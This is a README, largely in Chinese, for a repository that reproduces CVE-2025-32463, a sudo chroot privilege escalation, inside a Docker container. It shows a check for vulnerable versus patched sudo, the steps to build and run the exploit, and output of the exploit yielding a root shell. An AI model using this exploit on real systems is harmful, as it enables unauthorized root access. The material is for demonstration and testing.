
C reimplementation of chwoot PoC
本仓库提供了一个最小化、可复现的环境,用于演示 sudo 中 chroot 功能的 CVE‑2025‑32463 权限提升漏洞。
大多数 Linux 发行版上,sudo 1.9.14 至 1.9.17(所有 p 修订版)的易受攻击版本受影响。
安全页面
| 文件 | 目的 |
|---|---|
| Dockerfile | 构建一个包含易受攻击版本 sudo 1.9.16p2 和构建工具的 Ubuntu 24.04 镜像 |
| sudo‑chwoot.sh | 概念验证漏洞利用脚本,用于在 chroot 内生成 root shell |
| run.sh | 辅助脚本,构建镜像(如需)并启动漏洞利用容器 |
# Vulnerable sudo
poc ~ $ sudo -R woot woot
sudo: woot: No such file or directory
# Patched sudo
poc ~ $ sudo -R woot woot
[sudo] password for poc:
sudo: you are not permitted to use the -R option with woot
# 1 – clone repo
$ git clone https://github.com/vpr-labs/CVE-2025-32463.git
$ cd CVE-2025-32463
# 2 – build and run Docker image (tagged "vpr-chwoot")
$ ./run.sh
# 3 – run exploit in container (runs root command directly)
poc@f722d9182d1f:~$ make && ./vpr-chwoot
woot!
root@f722d9182d1f:/# id
uid=0(root) gid=0(root) groups=0(root),1001(poc)
root@f722d9182d1f:/#
run.sh 向 Docker 传递 --privileged 和 --rm 参数,以便容器在退出时自动清理自身。
完成后移除镜像:
docker rmi vpr-chwoot